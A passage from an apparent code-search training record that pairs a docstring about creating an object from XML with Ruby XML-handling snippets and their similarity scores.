'CONNECTOR_TEST' : 'LIVE', :response => 'SYNC', :channel => @options[:channel_id]) do\n xml.User(:login => @options[:login], :pwd => @options[:pwd])\n yield xml\n end\n end\n end\n builder.to_xml\n end", "def to_xml\n response\n end", "def createInitialCommandTag\n\n\t# specify the g-parameter\n\tprint(\"Enter the g parameter: \")\n\t$g_param = $stdin.readline\n\twhile ($g_param !~ /^[0-9]+$/)\n\t\tprint(\"Enter a valid g parameter: \")\n\t\t$g_param = $stdin.readline\n\tend\n\n\t# specify the pmOrder\n\tprint(\"\\nEnter the pmOrder: \")\n\t$pm_order = $stdin.readline\n\twhile ($pm_order !~ /^[123]{1}$/)\n\t\tprint(\"Enter a valid pmOrder (1, 2, or 3): \")\n\t\t$pm_order = $stdin.readline\n\tend\n\n\t# specify the remote width\n\tprint(\"\\nEnter the remote spatial width: \")\n\t$remote_width = $stdin.readline\n\twhile ($remote_width !~ /^[0-9]+$/)\n\t\tprint(\"Enter a valid remote_width: \")\n\t\t$remote_width = $stdin.readline\n\tend\n\n\t# specify the remote height\n\tprint(\"\\nEnter the remote spatial height: \")\n\t$remote_height = $stdin.readline\n\twhile ($remote_height !~ /^[0-9]+$/)\n\t\tprint(\"Enter a valid remote_height: \")\n\t\t$remote_height = $stdin.readline\n\tend\n\n\t# specify the local width\n\tprint(\"\\nEnter the local spatial width: \")\n\t$local_width = $stdin.readline\n\twhile ($local_width !~ /^[0-9]+$/)\n\t\tprint(\"Enter a valid local_width: \")\n\t\t$local_width = $stdin.readline\n\tend\n\n\t# specify the local height\n\tprint(\"\\nEnter the local spatial height: \")\n\t$local_height = $stdin.readline\n\twhile ($local_height !~ /^[0-9]+$/)\n\t\tprint(\"Enter a valid local_height: \")\n\t\t$local_height = $stdin.readline\n\tend\n\n\t# chop off new line chars\n\t$g_param.chomp!\n\t$pm_order.chomp!\n\t$remote_width.chomp!\n\t$remote_height.chomp!\n\t$local_width.chomp!\n\t$local_height.chomp!\n\n\treturn \"<commands xmlns:xsi=\\\"http://www.w3.org/2001/XMLSchema-instance\\\" xsi:noNamespaceSchemaLocation=\\\"part3in.xsd\\\"\" +\n\t\t\t\" remoteSpatialWidth=\\\"\" + $remote_width + \"\\\" remoteSpatialHeight=\\\"\" + $remote_height +\n\t\t\t\"\\\" localSpatialWidth=\\\"\" + $local_width + \"\\\" localSpatialHeight=\\\"\" + $local_height +\n\t\t\t\"\\\" pmOrder=\\\"\" + $pm_order + \"\\\" g=\\\"\" + $g_param + \"\\\">\"\n\nend", "def to_one\n xml, _e, s = KVM.virsh(:dumpxml, @name)\n return '' if s.exitstatus != 0\n\n doc = REXML::Document.new(xml)\n\n name = REXML::XPath.first(doc, '/domain/name').text\n uuid = REXML::XPath.first(doc, '/domain/uuid').text\n vcpu = REXML::XPath.first(doc, '/domain/vcpu').text\n mem = REXML::XPath.first(doc, '/domain/memory').text.to_i / 1024\n arch = REXML::XPath.first(doc, '/domain/os/type').attributes['arch']\n\n spice = REXML::XPath.first(doc,\n \"/domain/devices/graphics[@type='spice']\")\n spice = spice.attributes['port'] if spice\n\n spice_txt = ''\n spice_txt = %(GRAPHICS = [ TYPE=\"spice\", PORT=\"#{spice}\" ]) if spice\n\n vnc = REXML::XPath.first(doc, \"/domain/devices/graphics[@type='vnc']\")\n vnc = vnc.attributes['port'] if vnc\n\n vnc_txt = ''\n vnc_txt = %(GRAPHICS = [ TYPE=\"vnc\", PORT=\"#{vnc}\" ]) if vnc\n\n features = []\n %w[acpi apic pae].each do |feature|\n if REXML::XPath.first(doc, \"/domain/features/#{feature}\")\n features << feature\n end\n end\n\n feat = []\n features.each do |feature|\n feat << %( #{feature.upcase}=\"yes\")\n end\n\n features_txt = ''\n features_txt = \"FEATURES=[#{feat.join(', ')}]\" unless feat.empty?\n\n tmpl = \"NAME=\\\"#{name}\\\"\\n\"\n tmpl << \"CPU=#{vcpu}\\n\"\n tmpl << \"VCPU=#{vcpu}\\n\"\n tmpl << \"MEMORY=#{mem}\\n\"\n tmpl << \"HYPERVISOR=\\\"kvm\\\"\\n\"\n tmpl << \"DEPLOY_ID=\\\"#{uuid}\\\"\\n\"\n tmpl << \"OS=[ARCH=\\\"#{arch}\\\"]\\n\"\n tmpl << features_txt << \"\\n\" unless features_txt.empty?\n tmpl << spice_txt << \"\\n\" unless spice_txt.empty?\n tmpl << vnc_txt << \"\\n\" unless vnc_txt.empty?\n\n tmpl\n rescue StandardError\n ''\n end", "def netdev_resxml_top\n cfg = Netconf::JunosConfig.new(:TOP)\n xml = cfg.doc\n at_ele = cfg.edit_path( xml, @edit_path ) \n Nokogiri::XML::Builder.with( at_ele ) do |dot|\n @pp_obj.netdev_resxml_top( dot ) \n end\n return xml \n end", "def to_s\n text = ''\n\n text << tag_output_string + \"\\n\" unless tags.empty?\n text << \"#{@keyword}:#{name_output_string}\"\n text << \"\\n\" + description_output_string unless (description.nil? || description.empty?)\n text << \"\\n\" unless (steps.empty? || description.nil? || description.empty?)\n text << \"\\n\" + steps_output_string unless steps.empty?\n text << \"\\n\\n\" + examples_output_string unless examples.empty?\n\n text\n end", "def to_s\n msg = ''\n msg += \"Command: #{name}\\n\"\n options.each { |o| msg += \" \" + o.inspect + \"\\n\"}\n msg += \"\\n\"\n commands.each { |k, v| msg += commands[k].inspect }\n msg\n end", "def to_xml\n to_xml_builder.to_xml\n end", "def to_xml\n to_xml_builder.to_xml\n end", "def inspect\n str = \"#<#{self.class} source=#{source.inspect}\"\n str << \" generated=#{generated}, original=#{original}\"\n str << \" name=#{name.inspect}\" if name\n str << \">\"\n str\n end", "def build_tracking_xml_request\n xml = \"\"\n\n builder = ::Builder::XmlMarkup.new :target => xml \n builder.TrackRequest :USERID => config.user_id do |t|\n t.TrackID :ID => package_id\n end\n\n xml\n end", "def response_xml\r\n @sess.DoRequests(@request_set).ToXMLString\r\n end", "def to_xml\n Builder.new(permission, grantee).to_s\n end", "def to_xml\n http.body\n end", "def netdev_resxml_top( xml ) \n xml.interface {\n xml.name resource[:name] \n xml.unit { \n xml.name '0' \n return xml\n }\n }\n end", "def to_xml(opts={})\n { :name => self.controller_name,\n :parameters => self.queryable_params,\n :identifier => self.xml_identifier\n }.to_xml(opts.merge(:root => \"resource\"))\n end", "def toxml\n\t\tend", "def to_xml(options = {})\r\n options.update :root => @root ||\r\n self.class.name.split('::').last.underscore\r\n attributes.to_xml options\r\n end", "def to_s\n msg_str = \"Command Packet Hex Str: #{@cmd_str.to_s}\\n\"\n msg_str << \"net_id: #{@net_id}\\n\"\n msg_str << \"pkt_no: #{@pkt_no}\\n\"\n msg_str << \"cmd_id: #{@cmd_id.to_s(16)}\\n\"\n msg_str << \"res_req: #{@res_req}\\n\"\n msg_str << \"ack_req: #{@ack_req}\\n\"\n msg_str << \"ack_bit: #{@ack_bit}\\n\"\n msg_str << \"err_bit: #{@err_bit}\\n\"\n if @data != nil\n data_str = \"\"\n if @data == CmdManager::DONT_CARE\n data_str = CmdManager::DONT_CARE\n else \n @data.each{|x| \n if x == CmdManager::DONT_CARE\n data_str << CmdManager::DONT_CARE\n else\n data_str << \"#{x.to_s(16)} \"\n end\n }\n end\n \n msg_str << \"data: [#{data_str.chop}]\\n\"\n end\n if @error_no != 0\n msg_str << \"error_desc: #{@error_desc}\\n\"\n end\n \n msg_str\n end", "def osmxml (ios)\n ios.write(\"<osm version=\\\"0.6\\\" >\\n\")\n @properties.each { |x| \n x.osmxml(ios) \n }\n ios.write(\"</osm>\\n\")\n end", "def to_s(indent = xml_tab_width)\n xml = ''\n if defined? Ox\n ox_doc = Ox.parse(xml_response)\n xml = Ox.dump(ox_doc, indent: indent)\n else\n rexml_doc = REXML::Document.new(xml_response)\n rexml_doc.write(xml, indent)\n end\n xml\n end", "def generate_xml\n values = {\n :charset => @options.charset,\n :files => gen_into(@files),\n :classes => gen_into(@classes),\n :title => CGI.escapeHTML(@options.title),\n }\n\n template = RDoc::TemplatePage.new @template::ONE_PAGE\n\n opfile = if @options.op_name then\n open @options.op_name, 'w'\n else\n $stdout\n end\n template.write_html_on(opfile, values)\n end", "def to_xml\n raise \"No Asset selected for export to XML\" unless @asset\n xml = XmlSystem.new\n @output_text = xml.export( @asset ).target!\n end", "def to_str\n str = \"\"\n REXML::Formatters::Pretty.new(1).write(@xml,str)\n \n return str \n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {'ID' => id, 'Version' => version, 'IssueInstant' => issue_instant.in_time_zone.xmlschema}\n attributes['InResponseTo'] = in_response_to unless in_response_to.nil?\n attributes['Destination'] = destination unless destination.nil?\n attributes['Consent'] = consent unless consent.nil?\n attributes = add_xmlns(attributes)\n xml.tag!('samlp:Response', attributes) {\n xml << issuer.to_xml unless issuer.nil?\n xml << signature.to_xml unless signature.nil?\n # TODO: add extensions support\n xml << status.to_xml unless status.nil?\n assertions.each { |assertion| xml << assertion.to_xml }\n encrypted_assertions.each { |encrypted_assertion| xml << encrypted_assertion.to_xml }\n }\n end", "def execute_command\n begin\n if @cgi.has_key?('type') then\n doc = REXML::Document.new\n command = doc.add_element 'COMMAND'\n @cgi.params.each_pair { |key,value| command.attributes[key]=value}\n xmlCommand = doc.to_s\n socket = TCPSocket.new(@host,@port)\n socket.puts xmlCommand \n xmlResult = socket.gets.chop\n docResult = REXML::Document.new xmlResult\n end\n rescue\n puts 'Probleem bij uitvoeren commando'\n exit\n end\n end", "def to_xml\n\t\t\ttext = \"\"\n\t\t\t@response.write(text, 1)\n\t\t\treturn text\n\t\tend", "def to_xml\n el = REXML::Element.new(\"f\")\n \n # In the current Filter handling by OML Server/Client\n # pname is the input for the filter, and it is an attribute\n # of the filter element in XML\n # However, in the future there could be many inputs \n # to a filter, thus input will become a child element of the\n # filter XML element.\n# if @properties.length > 0\n# @properties.each {|p|\n# el.add_attribute(\"pname\", p.value) if p.idref == :input\n# }\n# end\n \n \n el.add_attribute(\"fname\", @opts[:fname].to_s)\n # TODO: What is 'sname' used for???\n #el.add_attribute(\"sname\", @name.to_s)\n el.add_attribute(\"pname\", @opts[:pname].to_s)\n \n # Support for future evolution of Filter\n #a.add_attribute(\"idref\", idref) \n #if @properties.length > 0\n # pe = a.add_element(\"properties\")\n # @properties.each {|p|\n # pe.add_element(p.to_xml)\n # }\n #end\n return el\n end", "def to_zapp_xml\n results = submit_cmd('',:dump,\"-env #{self.env} --zappdb --outdir .\")\n puts results\n end", "def init_from_xml(xmlDoc)\r\n @type = xmlDoc.expanded_name\r\n xmlDoc.each_element(\"ID\") { |e| @procID = e.text }\r\n xmlDoc.each_element(\"GROUP\") { |e| @group = e.text }\r\n xmlDoc.each_element(\"PATH\") { |e| @path = e.text }\r\n xmlDoc.each_element(\"ARGSLINE\") { |e| @cmdLineArgs = e.text }\r\n xmlDoc.each_element(\"ENV\") { |e| @env = e.text }\r\n # Dump the XML description of the OML configuration into a file\r\n xmlDoc.each_element(\"OML_CONFIG\") { |config|\r\n configPath = nil\r\n config.each_element(\"omlc\") { |omlc|\r\n configPath = \"/tmp/#{omlc.attributes['exp_id']}-#{@procID}.xml\"\r\n }\r\n f = File.new(configPath, \"w+\")\r\n config.each_element {|el|\r\n f << el.to_s\r\n }\r\n f.close\r\n # Set the OML_CONFIG environment with the path to the XML file\r\n @env << \" OML_CONFIG=#{configPath} \"\r\n }\r\n end", "def generate_xml\n values = {\n :charset => @options.charset,\n :files => gen_into(@files),\n :classes => gen_into(@classes)\n }\n\n template = RDoc::TemplatePage.new @template::ONE_PAGE\n\n if @options.op_name\n opfile = File.open(@options.op_name, \"w\")\n else\n opfile = $stdout\n end\n template.write_html_on(opfile, values)\n end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_s\n \n options = \"\"\n options << \" -t\" << self.target_type unless self.target_type.nil?\n options << \" -m\" << self.min_size.to_s unless self.min_size.nil?\n options << \" -n\" << self.max_size.to_s unless self.max_size.nil?\n options << \" -s\" << self.min_supp.to_s unless self.min_supp.nil?\n options << \" -c\" << self.min_conf.to_s unless self.min_conf.nil?\n options << \" -e\" << self.add_eval.to_s unless self.add_eval.nil?\n options << \" -d\" << self.min_add_eval.to_s unless self.min_add_eval.nil?\n options << \" -v\" << \"\\\";\" << self.output_format << \"\\\"\" unless self.output_format.nil?\n \n options\n \n end" ]
[ "0.62823147", "0.5880475", "0.5843234", "0.5787618", "0.5776589", "0.5776446", "0.5757343", "0.57475954", "0.57196045", "0.5702211", "0.5677292", "0.56651944", "0.5662018", "0.5648687", "0.56068736", "0.55999875", "0.55953646", "0.55953646", "0.5519342", "0.5518673", "0.5507279", "0.55048287", "0.55048287", "0.54815185", "0.547911", "0.54439", "0.544133", "0.54384345", "0.5430552", "0.5427744", "0.5422801", "0.54153425", "0.54153425", "0.54079026", "0.5403978", "0.5398039", "0.5396661", "0.5388836", "0.5380385", "0.53800774", "0.53777015", "0.5376967", "0.5364113", "0.5351339", "0.5345688", "0.534306", "0.5334528", "0.53338414", "0.5330359", "0.53293145", "0.532699", "0.532699", "0.5317849", "0.53167754", "0.5307068", "0.5304796", "0.5300499", "0.52947915", "0.529165", "0.52823347", "0.52743", "0.52734447", "0.527302", "0.52713233", "0.5270123", "0.526859", "0.5265301", "0.52641636", "0.5263743", "0.52622026", "0.52622026", "0.52609354", "0.52534616", "0.52510935", "0.52413464", "0.5240893", "0.52403986", "0.52362514", "0.523035", "0.5225344", "0.52252585", "0.5221393", "0.52202994", "0.5215748", "0.52138567", "0.5206076", "0.52058077", "0.5204652", "0.52043396", "0.5196581", "0.5196257", "0.51834655", "0.5180997", "0.5172595", "0.5172595", "0.5172595", "0.5172595", "0.5172595", "0.5172595", "0.5172133" ]
0.7094721
0
Create a new Command Object from a valid XML representation xmlDoc = an xml document (REXML::Document) object
def init_from_xml(xmlDoc) @type = xmlDoc.expanded_name xmlDoc.each_element("ID") { |e| @procID = e.text } xmlDoc.each_element("GROUP") { |e| @group = e.text } xmlDoc.each_element("PATH") { |e| @path = e.text } xmlDoc.each_element("ARGSLINE") { |e| @cmdLineArgs = e.text } xmlDoc.each_element("ENV") { |e| @env = e.text } # Dump the XML description of the OML configuration into a file xmlDoc.each_element("OML_CONFIG") { |config| configPath = nil config.each_element("omlc") { |omlc| configPath = "/tmp/#{omlc.attributes['exp_id']}-#{@procID}.xml" } f = File.new(configPath, "w+") config.each_element {|el| f << el.to_s } f.close # Set the OML_CONFIG environment with the path to the XML file @env << " OML_CONFIG=#{configPath} " } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_from(xmlDoc)\n begin\n # Set the Type\n @attributes[:CMDTYPE] = xmlDoc.expanded_name.to_sym\n # Parse the XML object\n xmlDoc.each_element { |e|\n # For the OMLCONFIG tag, add the XML value to this Command Object\n if e.expanded_name.upcase.to_sym == :OMLCONFIG\n @attributes[e.expanded_name.upcase.to_sym] = e\n # For the other tags, add the text value to this Command Object\n else\n @attributes[e.expanded_name.upcase.to_sym] = e.text\n end\n }\n rescue Exception => ex\n raise \"Failed to create new OmfCommandObject from XML\"\n end\n end", "def from_xml(xml)\n\t\tend", "def parse_xml(xml)\n new from_xml(xml)\n end", "def load_xml(str)\r\n @xml = REXML::Document.new(str.to_s)\r\n xml_to_instance\r\n self\r\n end", "def from_xml_elem(ctx, root)\n #p [:from_xml_elem, :ctx, root]\n attributes = root.attributes.inject({ }) { |hash, (k, v)| hash[k] = EscapeXML.unescape(v.to_s); hash}\n text, children = root.children.partition{ |x| text_node?(x) }\n text = text.map{ |x| x.to_s}.reject{ |s| s =~ /^\\s*$/}.join('')\n element_name = root.name\n if element_name !~ /[A-Z]/\n element_name = Doodle::Utils.camel_case(element_name)\n end\n klass = Utils.const_lookup(element_name, ctx)\n #p [:creating_new, klass, text, attributes]\n #p [:root1, root]\n # don't pass in empty text - screws up when class has only\n # child elements (and no attributes) because tries to\n # instantiate child element from empty string \"\"\n if text == \"\"\n text = nil\n end\n args = [text, attributes].compact\n oroot = klass.new(*args) {\n #p [:in_block]\n from_xml_elem(root)\n }\n #p [:oroot, oroot]\n oroot\n end", "def initialize(run, xml)\n @run = run\n\n parse_xml(xml)\n end", "def load_xml(xml)\n @mmdoc = REXML::Document.new(xml)\n end", "def command(*args, &_block)\n builder do |xml|\n xml.command do\n if block_given?\n yield xml\n else\n command = args.shift\n command.call(xml)\n args.each do |ext|\n xml.extension do\n ext.call(xml)\n end\n end\n end\n xml.clTRID(clTRID)\n end\n end\n end", "def initialize(xmldoc)\n @xmldoc = xmldoc\n @output = {}\n end", "def parse(doc)\n parser = parser_class.new\n parser.run(doc)\n end", "def execute_command\n begin\n if @cgi.has_key?('type') then\n doc = REXML::Document.new\n command = doc.add_element 'COMMAND'\n @cgi.params.each_pair { |key,value| command.attributes[key]=value}\n xmlCommand = doc.to_s\n socket = TCPSocket.new(@host,@port)\n socket.puts xmlCommand \n xmlResult = socket.gets.chop\n docResult = REXML::Document.new xmlResult\n end\n rescue\n puts 'Probleem bij uitvoeren commando'\n exit\n end\n end", "def initialize(options={})\n raise ValueError.new(\"You must include the an :xml or :doc option when creating a message\") unless options[:xml] || options[:doc]\n if (options[:xml])\n @document = REXML::Document.new(options[:xml])\n @xml = options[:xml]\n else\n @document = options[:doc]\n end \n \n end", "def build_command(action, object, attributes = nil, cookie = nil)\n xml = <<-XML\n\n <?xml version='1.0' encoding='UTF-8' standalone='no' ?>\n <!DOCTYPE OPS_envelope SYSTEM 'ops.dtd'>\n <OPS_envelope>\n <header>\n <version>0.9</version>\n </header>\n <body>\n <data_block>\n <dt_assoc>\n <item key=\"protocol\">XCP</item>\n <item key=\"action\">GET_BALANCE</item>\n <item key=\"object\">BALANCE</item>\n <item key=\"registrant_ip\"/>\n </dt_assoc>\n </data_block>\n </body>\n </OPS_envelope>\n XML\n\n doc = REXML::Document.new(xml)\n doc.root.elements[\"body/data_block/dt_assoc/item[@key='action']\"].text = action\n doc.root.elements[\"body/data_block/dt_assoc/item[@key='object']\"].text = object\n\n unless cookie.nil?\n cookie_elem = doc.root.elements[\"body/data_block/dt_assoc\"].add_element('item', {'key' => 'cookie'})\n cookie_elem.text = cookie\n end\n\n unless attributes.nil?\n elem = doc.root.elements[\"body/data_block/dt_assoc\"].add_element('item', {'key' => 'attributes'})\n elem = elem.add_element('dt_assoc')\n attributes.each_pair do |key, value|\n attrib_elem = elem.add_element('item', {'key' => key})\n if value.is_a?(Hash) || value.is_a?(Array)\n xml_add_collection_as_child(attrib_elem, value)\n else\n attrib_elem.text = (value.is_a?(String) ? value.dup : value)\n end\n end\n end\n\n doc.to_s\n end", "def create_document(xml)\n begin\n REXML::Document.new(xml) \n rescue REXML::ParseException\n # nil\n end \nend", "def xml_doc\n @xml_doc ||= unless @xml.blank?\n Nokogiri.parse(@xml)\n else\n Nokogiri::XML::Document.new\n end\n rescue\n raise RuntimeError, 'expected document to parse'\n end", "def initialize(xml)\n @doc = Nokogiri::XML(xml)\n parse_response\n end", "def initialize(xml)\n @doc = Nokogiri::XML(xml)\n parse_response\n end", "def initialize(xml)\n @source = isxml?(xml) ? xml : File.read(xml)\n @doc_stream = AltoDocStream.new\n parser = Nokogiri::XML::SAX::Parser.new(doc_stream)\n parser.parse(@source)\n end", "def make_document(xml)\n xml.is_a?(Atom::XML::Document) ? xml : Atom::XML::Document.string(xml)\n end", "def initialize\n\t@xml = '<?xml version=\"1.0\"?>\n<?misc:processingInstruction \"with arguments\"?>\n<?other:piNoArgs ?>\n<!DOCTYPE outer PUBLIC \"public id\" \"foobar\" [\n <!ENTITY foo \"bletch\">\n <!ELEMENT el>\n <!ATTLIST el EMPTY>\n <!NOTATION notation ignored>\n]>\n<!-- comment -->\n<outer>\n data&amp;&foo;\nmore on next line<simpleTag>text</simpleTag>\n<inner:tag a=\"tabs\tto\tspaces&foo;\"/><![CDATA[xx<z&xx</\nnewline in cdata\n]]>\n<p>text <b>bold café coffee</b> more text</p>\n</outer>'\n\n\temptyAttrs = Hash.new()\n\t@newlineTok = NQXML::Text.new(\"\\n\")\n\n\tattrs = Hash.new()\n\tattrs['version'] = '1.0'\n\t@xmlDecl = NQXML::XMLDecl.new('xml', attrs, '<?xml version=\"1.0\"?>')\n\n\tsrc = '<?misc:processingInstruction \"with arguments\"?>'\n\t@piWithArgs =\n\t NQXML::ProcessingInstruction.new('misc:processingInstruction',\n\t\t\t\t\t '\"with arguments\"', src)\n\n\t@piNoArgs = NQXML::ProcessingInstruction.new('other:piNoArgs', '',\n\t\t\t\t\t\t '<?other:piNoArgs ?>')\n\n\t@entityTag =\n\t NQXML::GeneralEntityTag.new('foo', 'bletch', nil, nil,\n\t\t\t\t\t'<!ENTITY foo \"bletch\">')\n\t@element = NQXML::Element.new('el', '', '<!ELEMENT el>')\n\t@attlist = NQXML::Attlist.new('el', 'EMPTY', '<!ATTLIST el EMPTY>')\n\t@notation = NQXML::Notation.new('notation', 'ignored',\n\t\t\t\t\t'<!NOTATION notation ignored>')\n\t@doctypePubid =\n\t NQXML::PublicExternalID.new('\"public id\"', '\"foobar\"',\n\t\t\t\t\t'PUBLIC \"public id\" \"foobar\"')\n\t@doctype =\n\t NQXML::Doctype.new('outer', @doctypePubid,\n\t\t\t [@entityTag, @element, @attlist, @notation],\n\t\t\t \"<!DOCTYPE outer PUBLIC \\\"public id\\\" \\\"foobar\\\" [\\n\" +\n\t\t\t \" <!ENTITY foo \\\"bletch\\\">\\n\" +\n\t\t\t \" <!ELEMENT el>\\n\" +\n\t\t\t \" <!ATTLIST el EMPTY>\\n\" +\n\t\t\t \" <!NOTATION notation ignored>\\n\" +\n\t\t\t \"]>\")\n\n\t@comment = NQXML::Comment.new('<!-- comment -->')\n\t@outerStart = NQXML::Tag.new('outer', emptyAttrs, false, '<outer>')\n\t@textDataWithSub = NQXML::Text.new(\"\\n data&bletch\\nmore on next line\")\n\t@simpleTagStart = NQXML::Tag.new('simpleTag', emptyAttrs, false,\n\t\t\t\t\t '<simpleTag>')\n\t@simpleTextData = NQXML::Text.new('text')\n\t@simpleTagEnd = NQXML::Tag.new('simpleTag', nil, true, '</simpleTag>')\n\n\tattrs = Hash.new()\n\tattrs['a'] = 'tabs to spacesbletch'\n\t@innerTagStart = NQXML::Tag.new('inner:tag', attrs, false,\n\t\t\t\t\t'<inner:tag a=\"tabs\tto\tspaces&foo;\"/>')\n\n\t@innerTagEnd = NQXML::Tag.new('inner:tag', nil, true,\n\t\t\t\t\t'<inner:tag a=\"tabs\tto\tspaces&foo;\"/>')\n\t@pTagStart = NQXML::Tag.new('p', emptyAttrs, false, '<p>')\n\t@pTagEnd = NQXML::Tag.new('p', nil, true, '</p>')\n\t@bTagStart = NQXML::Tag.new('b', emptyAttrs, false, '<b>')\n\t@bTagEnd = NQXML::Tag.new('b', nil, true, '</b>')\n\t@textText = NQXML::Text.new('text ')\n\t@boldText = NQXML::Text.new('bold café coffee')\n\t@moreTextText = NQXML::Text.new(' more text')\n\n\t@cdata = NQXML::Text.new(\"xx<z&xx</\\nnewline in cdata\\n\",\n\t\t\t\t \"<![CDATA[xx<z&xx</\\nnewline in cdata\\n]]>\")\n\t@outerEnd = NQXML::Tag.new('outer', nil, true, '</outer>')\n\n\t@sub1_xml = '<?xml version=\"1.0\"?>\n<!DOCTYPE outer SYSTEM \"foobar\" [\n <!ENTITY example \"<p>An ampersand (&#38;#38;) may be escaped numerically (&#38;#38;#38;) or with a general entity (&amp;amp;).</p>\" >\n]>\n'\n\tsrc = '<!ENTITY example \"<p>An ampersand (&#38;#38;) may be' +\n\t ' escaped numerically (&#38;#38;#38;) or with a general entity' +\n\t ' (&amp;amp;).</p> >'\n\tval = \"<p>An ampersand (&#38;) may be escaped numerically\" +\n\t \" (&#38;#38;) or with a general entity (&amp;amp;).</p>\"\n\t@sub1Entity = NQXML::GeneralEntityTag.new('example', val, nil, nil,\n\t\t\t\t\t\t src)\n\t\t\t\t\t\t\n\t@sub2_xml = '<?xml version=\"1.0\"?>\n<!DOCTYPE test [\n<!ELEMENT test (#PCDATA) >\n<!ENTITY % xx \\'&#37;zz;\\'>\n<!ENTITY % zz \\'&#60;!ENTITY tricky \"error-prone\" >\\' >\n%xx;\n]>\n<test>This sample shows a &tricky; method.</test>\n'\n\t@xxEntity =\n\t NQXML::ParameterEntityTag.new('xx', '%zz;', nil,\n\t\t\t\t\t '<!ENTITY % zz \\'&#37;zz;\\'>')\n\n\tsrc = '<!ENTITY % zz \\'&#60;!ENTITY tricky \"error-prone\" >\\' >'\n\tval = '<!ENTITY tricky \"error-prone\" >'\n\t@zzEntity = NQXML::ParameterEntityTag.new('zz', val, nil, src)\n end", "def initialize(xml_str, spec_yaml_str=nil)\n # Flag for the time string format\n @show_seconds = false\n\n raise ArgumentError.new('Parser initiation requires XML String argument') if xml_str.nil? or xml_str.empty?\n if spec_yaml_str.nil? or spec_yaml_str.empty?\n @@spec = YAML::load(File.read(File.expand_path('../../../conf/nemsis_spec.yml', __FILE__)))\n else\n @@spec = YAML::load(spec_yaml_str)\n end\n self.xml_str = xml_str\n self.xml_doc = Nokogiri::XML(xml_str)\n xml_doc.remove_namespaces!\n end", "def initialize(run, xml)\n super(run, xml)\n\n @error = false\n @structure = parse_data(xml_first_child(xml))\n\n # cached outputs\n @values = nil\n @refs = nil\n @types = nil\n @sizes = nil\n @total_size = nil\n end", "def initialize(res, opts = {})\n @data = res\n opts[:parser] ||= Nori.new(\n parser: :rexml,\n convert_tags_to: lambda { |tag| tag.snakecase.to_sym }\n )\n @opts = opts\n end", "def initialize \n @doc = Document.new \n @action = @doc.add_element('action')\n @param = Element.new('parameter')\n end", "def initialize(xml)\n #puts \"________________________________________\"\n #puts xml\n #puts \"________________________________________\"\n @doc = Nokogiri::XML(xml)\n parse_response\n end", "def from_xml(xml, opts=OPTS)\n from_xml_node(Nokogiri::XML(xml).children.first, opts)\n end", "def initialize(xml=nil, target=nil, options={}, &block)\n \n @read_at = Time.new\n @noko = nil\n @source_xml = nil\n \n ## Use XML to build object\n from_xml(xml) if xml\n \n ## Use block for further configuration or manual creation\n self.instance_eval(&block) if block\n\n end", "def command(*a)\n command = Command.new(*a)\n command.node = self\n command\n end", "def parse\n Ox.parse(@xml)\n end", "def call(cmd, *args, env: {})\n cmd = bin.join(cmd.to_s).to_s\n args = [\"--host=#{@host}\", \"--xml\"] + args.map(&:to_s)\n env = {\n \"LD_LIBRARY_PATH\" => \"#{lib}:#{ENV['LD_LIBRARY_PATH']}\",\n \"MOABHOMEDIR\" => \"#{moabhomedir}\"\n }.merge(env.to_h)\n o, e, s = Open3.capture3(env, cmd, *args)\n s.success? ? Nokogiri::XML(o) : raise(CommandFailed, e)\n rescue Errno::ENOENT => e\n raise InvalidCommand, e.message\n end", "def make_xml_request_object( opts={} )\n\t\tdata = make_xml_request( opts )\n\t\treturn Mongrel2::Request.parse( data )\n\tend", "def post(xmldoc)\n headers = {'Content-Type' => 'text/xml'}\n check_response( @httpcli.post(@endpoint, xmldoc, headers) )\n end", "def shallow_parse(xml_document)\n @tokens = xml_document.scan(@@xml_spe)\n end", "def initialize(xml_node)\n @xml = xml_node\n end", "def initialize(xml_node)\n @xml = xml_node\n end", "def initialize(xml_node)\n @xml = xml_node\n end", "def new_parser_with_data\n\tdoc = load_sample_xml\n\tparser = GreenButton::Parser.new(doc)\nend", "def rexml_doc(obj)\n case obj\n when REXML::Document, REXML::Element\n obj\n else\n REXML::Document.new(obj)\n end\n end", "def get_builder_obj(shell_id, command_id, &block)\r\n body = { \"#{NS_WIN_SHELL}:DesiredStream\" => 'stdout stderr',\r\n :attributes! => {\"#{NS_WIN_SHELL}:DesiredStream\" => {'CommandId' => command_id}}}\r\n builder = Builder::XmlMarkup.new\r\n builder.instruct!(:xml, :encoding => 'UTF-8')\r\n builder.tag! :env, :Envelope, namespaces do |env|\r\n env.tag!(:env, :Header) { |h| h << Gyoku.xml(merge_headers(header,resource_uri_cmd,action_receive,selector_shell_id(shell_id))) }\r\n env.tag!(:env, :Body) do |env_body|\r\n env_body.tag!(\"#{NS_WIN_SHELL}:Receive\") { |cl| cl << Gyoku.xml(body) }\r\n end\r\n end\r\n builder\r\n end", "def _convertXML() \n\n require 'rexml/document'\n return REXML::Document.new(self.response)\n\n raise \"Unimplemented.\"\n \n\t#\t\t\tfrom xml.dom.ext.reader import PyExpat\n#\t\t\tParser = PyExpat.Reader\n#\t\texcept ImportError :\n#\t\t\tfrom xml.dom.ext.reader import Sax2\n#\t\t\tParser = Sax2.Reader\n#\t\t\t#import warnings\n#\t\t\t#warnings.warn(\"Expat parser could not be loaded, using Sax2. Might slow down things...\")\n#\t\treader = Parser()\n#\t\treturn reader.fromStream(self.response)\n\n end", "def initialize(doc)\n @doc = doc\n end", "def from_xml(*args, &block)\n create_represented(*args, &block).from_xml(*args)\n end", "def xml_document(obj)\n case obj\n when XML::Document\n XML::Document.document(obj)\n else\n XML::Document.new('1.0')\n end\n end", "def load_xml_document file_name\n xml_file = File.new file_name, \"r\"\n return Document.new xml_file\n end", "def initialize(data, changeset)\n @reader = XML::Reader.string(data)\n @changeset = changeset\n # document that's (re-)used to handle elements expanded out of the\n # diff processing stream.\n @doc = XML::Document.new\n @doc.root = XML::Node.new(\"osm\")\n end", "def from_xml_node(parent, opts=OPTS)\n new.from_xml_node(parent, opts)\n end", "def xml_document\n xml = XML::Document.new\n xml.root = self.to_xml\n xml\n end", "def to_xml_document(opts={}, doc=nil)\n doc ||= REXML::Document.new\n default_xml_element_name = lambda { Extlib::Inflection.underscore(self.class.name).tr(\"/\", \"-\") }\n root = doc.add_element(opts[:element_name] || default_xml_element_name[])\n\n #TODO old code base was converting single quote to double quote on 